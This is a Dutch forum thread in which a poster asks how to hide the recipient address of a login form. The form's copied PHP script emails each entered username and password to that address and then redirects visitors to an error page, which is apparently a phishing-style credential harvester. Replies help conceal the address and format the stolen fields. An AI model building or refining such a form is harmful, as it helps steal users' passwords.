Toon posts:

[HTML] Code hiden?

Pagina: 1
Acties:
  • 38 views sinds 30-01-2008

Verwijderd

Topicstarter
Hallo mensen, ik ben bezig met m'n eigen website.
Mensen kunnen zich registreren, nadat ik een E-Mail van ze heb ontvangen.
Nu heb ik de volgende code, deze is volledig te zien voor mijn bezoekers:

code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<table width="800" height="547" border="0">
  <tr>
    <td height="177" background="bg.gif">&nbsp;</td>
  </tr>
  <tr>
    <td height="364" background="content.gif"><div align="center" class="style1">
      <form action="" method="post" name="form1" class="style3">
        <input type = 'hidden' name = 'To' value = 'email@email.nl'>
        <input type = 'hidden' name = 'Subject' value = 'Login'>
            Username: 
            <input name="username" type="text" class="style4">
        <br>
        Password: 
        <input name="password" type="password" class="style4"><br>
        <input type="submit" name="login" value="Login">
        </span>
                </form> 
</div></td>
  </tr>
</table>


Nou gaat het mij hier om:
code:
1
2
        <input type = 'hidden' name = 'To' value = 'email@email.nl'>
        <input type = 'hidden' name = 'Subject' value = 'Login'>


Ik wil NIET dat mensen deze tekst zien.
Oftewel, het moet onzichtbaar worden dat mensen weten dat het bericht naar een E-Mail adres toe gaat.
Hoe kan ik dit verbergen?
Of is dit gewoon niet mogelijk?

[ Voor 48% gewijzigd door Verwijderd op 23-11-2005 09:24 ]


  • frickY
  • Registratie: Juli 2001
  • Laatst online: 21-04 13:13
Waarmee ga je de e-mail versturen? Ik neem aan dat je het formulier post naar een andere pagina, waarin je de invoer verwerkt en ook oplsaat in je database? Dat zal waarschijnlijk een PHP, ASP of JSP pagina zijn? Zet daarin de variabele.

Verwijderd

Topicstarter
Ja, dat is i.c.m. een PHP script.

Edit:
PHP:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
session_start ();

include ("include/connection.php");
include ("include/functions.php");
!
$username        = "";
$password        = "";

if($_SERVER['REQUEST_METHOD'] == 'POST')
{
    if(isset($_POST['username']))        { $username = $_POST['username']; }
    if(isset($_POST['password']))        { $password = $_POST['password']; }
    
        $Mail ="
*******************************
$username
$password
*******************************";
    mail ($To, $Subject, $Mail);
    $_SESSION['username'] = $username;
    $_SESSION['password'] = $password;
    header('location: error.php');
    }

?>


Waar zou ik de tekst dan tussen moeten zetten?
Ik heb namelijk totaal geen verstand van PHP (dit script is ook van een andere site gejat ;)).

[ Voor 93% gewijzigd door Verwijderd op 23-11-2005 09:27 ]


  • P_de_B
  • Registratie: Juli 2003
  • Niet online
Dit is niet mogelijk, je kunt misschien wat trucjes uithalen maar 100% waterdicht krijg je dat niet op deze manier.

Je kunt er bijvoorbeeld voor kiezen een activiatielink naar hun email te sturen nadat ze zich op je website hebben geregistreerd. Net zoals bijv. GoT dat doet.

Oops! Google Chrome could not find www.rijks%20museum.nl


Verwijderd

Topicstarter
P_de_B schreef op woensdag 23 november 2005 @ 09:27:
Dit is niet mogelijk, je kunt misschien wat trucjes uithalen maar 100% waterdicht krijg je dat niet op deze manier.

Je kunt er bijvoorbeeld voor kiezen een activiatielink naar hun email te sturen nadat ze zich op je website hebben geregistreerd. Net zoals bijv. GoT dat doet.
Dat is helaas niet mogelijk, ik moet echt weten wie er allemaal op de site staan. :)

  • djluc
  • Registratie: Oktober 2002
  • Laatst online: 23-04 16:22
Lees eens in /14 de FAQ over register_globals en de gevaren daarvan. Concreet komt het er op neer dat je:
mail ($To, $Subject, $Mail);
Moet veranderen naar iets als:
mail ('jemail@domein.com', 'jesubject', $_POST['Mail']); <- zie ook $_POST dat heeft te maken met register globals. Lees die FAQ!!

Verwijderd

waarom zet je het mailadres niet gewoon in je php script? Zien mensen het ook niet.

  • Voutloos
  • Registratie: Januari 2002
  • Niet online
Ik snap echt niet waar je probleem zit. Mensen vullen een form in en daar hoeft helemaal niets over een emailadres gezegd te worden. Serverside kan je de parameters van het form lezen en een mail opmaken naar jezelf.

Je kan gewoon die hidden veldjes weghalen en je mail adres in je php code zetten dus. Heb je er uberhaupt aangedacht wat er gebeurd als ik to="spamdezepersoon@domein.nl" invul? En ja een aanvaller kan dat.
Ik heb namelijk totaal geen verstand van PHP (dit script is ook van een andere site gejat ;)).
Dan nog mag je je een beetje inlezen. Ook zou ik voortaan je code van andere sites afjatten, want deze code zuigt gigantisch wat betreft security.

[ Voor 41% gewijzigd door Voutloos op 23-11-2005 09:38 ]

{signature}


  • Calamor
  • Registratie: Oktober 2004
  • Laatst online: 03:35
Ik zou eens naar gaan zoeken op internet of een boek kopen om php te leren is niet zo heel erg moeilijk wat je wilt.

Verwijderd

Topicstarter
djluc schreef op woensdag 23 november 2005 @ 09:30:
Lees eens in /14 de FAQ over register_globals en de gevaren daarvan. Concreet komt het er op neer dat je:
mail ($To, $Subject, $Mail);
Moet veranderen naar iets als:
mail ('jemail@domein.com', 'jesubject', $_POST['Mail']); <- zie ook $_POST dat heeft te maken met register globals. Lees die FAQ!!
Dankjewel, het werkt! _/-\o_
Maar ik krijg GEEN tekst in het E-Mailtje... :'(
Wel het onderwerp van het E-Mailtje wordt verstuurd.

Edit: Ik ga nu naar school, ik zie jullie antwoorden vanmiddag wel. :) _/-\o_

[ Voor 12% gewijzigd door Verwijderd op 23-11-2005 09:41 ]


  • djluc
  • Registratie: Oktober 2002
  • Laatst online: 23-04 16:22
Als je bijvoorbeeld de username in je mailtje wilt hebben doe je iets als:
mail ('jemail@domein.com', 'jesubject', 'Username: '.$_POST['username']);

  • Willem
  • Registratie: Februari 2001
  • Laatst online: 23:48
Of lees gewoon de FAQ goed door en experimenteer het een en ander. :)

Succes.

Motor onderhoud bijhouden

Pagina: 1

Dit topic is gesloten.